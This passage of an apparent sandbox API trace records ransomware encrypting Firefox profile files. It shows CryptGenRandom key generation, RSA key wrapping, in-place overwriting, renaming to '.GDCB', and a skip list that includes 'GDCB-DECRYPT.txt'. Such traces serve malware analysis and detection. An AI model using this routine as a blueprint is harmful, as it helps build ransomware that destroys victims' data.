lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.GDCB" [0055.134] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.135] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.135] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.135] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.135] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.135] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.135] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5900a0) returned 1 [0055.135] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.136] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.136] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.136] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.136] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0055.136] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.136] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.136] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.136] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58ff90) returned 1 [0055.138] CryptImportKey (in: hProv=0x58ff90, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b82b0) returned 1 [0055.138] CryptGetKeyParam (in: hKey=0x5b82b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.138] CryptEncrypt (in: hKey=0x5b82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.138] GetLastError () returned 0x0 [0055.138] CryptReleaseContext (hProv=0x58ff90, dwFlags=0x0) returned 1 [0055.138] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5900a0) returned 1 [0055.140] CryptImportKey (in: hProv=0x5900a0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8270) returned 1 [0055.140] CryptGetKeyParam (in: hKey=0x5b8270, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.140] CryptEncrypt (in: hKey=0x5b8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.140] GetLastError () returned 0x0 [0055.140] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0055.140] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-addons.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.141] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.141] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.141] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x70608, lpOverlapped=0x0) returned 1 [0055.147] VirtualAlloc (lpAddress=0x0, dwSize=0x70610, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.151] VirtualAlloc (lpAddress=0x0, dwSize=0x70610, flAllocationType=0x3000, flProtect=0x4) returned 0x2a30000 [0055.156] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.158] SetFilePointer (in: hFile=0x504, lDistanceToMove=-460296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.158] WriteFile (in: hFile=0x504, lpBuffer=0x2a30000*, nNumberOfBytesToWrite=0x70610, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2a30000*, lpNumberOfBytesWritten=0x285e820*=0x70610, lpOverlapped=0x0) returned 1 [0055.159] VirtualFree (lpAddress=0x2a30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.160] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.163] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.163] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.163] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.163] CloseHandle (hObject=0x504) returned 1 [0055.167] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.168] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.168] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.168] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-addons.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-addons.json.gdcb")) returned 1 [0055.169] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.169] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.169] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.169] lstrcmpW (lpString1="blocklist-gfx.json", lpString2=".") returned 1 [0055.169] lstrcmpW (lpString1="blocklist-gfx.json", lpString2="..") returned 1 [0055.169] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-gfx.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" [0055.169] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.169] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98 [0055.169] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98 [0055.169] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98 [0055.169] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="desktop.ini") returned -1 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="autorun.inf") returned 1 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="ntuser.dat") returned -1 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="iconcache.db") returned -1 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="bootsect.bak") returned -1 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="boot.ini") returned -1 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="ntuser.dat.log") returned -1 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="thumbs.db") returned -1 [0055.169] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-gfx.json")) returned 0x20 [0055.170] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json", dwFileAttributes=0x20) returned 1 [0055.170] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.170] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" [0055.170] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.GDCB" [0055.170] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58ff08) returned 1 [0055.171] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.171] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.171] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.171] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.171] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.171] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.171] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.172] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.172] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.172] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.172] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.172] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.172] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.172] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.172] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.172] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.174] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8370) returned 1 [0055.174] CryptGetKeyParam (in: hKey=0x5b8370, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.174] CryptEncrypt (in: hKey=0x5b8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.175] GetLastError () returned 0x0 [0055.175] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.175] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.176] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8170) returned 1 [0055.176] CryptGetKeyParam (in: hKey=0x5b8170, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.176] CryptEncrypt (in: hKey=0x5b8170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.177] GetLastError () returned 0x0 [0055.177] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.177] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-gfx.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.177] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.177] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.177] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x6d31, lpOverlapped=0x0) returned 1 [0055.182] VirtualAlloc (lpAddress=0x0, dwSize=0x6d40, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.182] VirtualAlloc (lpAddress=0x0, dwSize=0x6d40, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.183] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.183] SetFilePointer (in: hFile=0x504, lDistanceToMove=-27953, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.183] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x6d40, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x6d40, lpOverlapped=0x0) returned 1 [0055.183] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.184] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.187] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.187] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.187] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.187] CloseHandle (hObject=0x504) returned 1 [0055.188] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.188] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.189] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.189] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-gfx.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-gfx.json.gdcb")) returned 1 [0055.189] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.189] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.190] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.190] lstrcmpW (lpString1="blocklist-plugins.json", lpString2=".") returned 1 [0055.190] lstrcmpW (lpString1="blocklist-plugins.json", lpString2="..") returned 1 [0055.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-plugins.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" [0055.190] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.190] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102 [0055.190] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102 [0055.190] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102 [0055.190] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="desktop.ini") returned -1 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="autorun.inf") returned 1 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="ntuser.dat") returned -1 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="iconcache.db") returned -1 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="bootsect.bak") returned -1 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="boot.ini") returned -1 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="ntuser.dat.log") returned -1 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="thumbs.db") returned -1 [0055.190] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.190] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-plugins.json")) returned 0x20 [0055.191] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json", dwFileAttributes=0x20) returned 1 [0055.191] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.191] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" [0055.191] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.GDCB" [0055.191] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.192] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.192] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.192] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.192] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.192] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.192] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.192] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.193] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.193] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.193] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.193] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.193] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.193] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.193] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.194] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.195] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8230) returned 1 [0055.195] CryptGetKeyParam (in: hKey=0x5b8230, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.196] CryptEncrypt (in: hKey=0x5b8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.196] GetLastError () returned 0x0 [0055.196] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.196] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5902c0) returned 1 [0055.197] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b80b0) returned 1 [0055.197] CryptGetKeyParam (in: hKey=0x5b80b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.198] CryptEncrypt (in: hKey=0x5b80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.198] 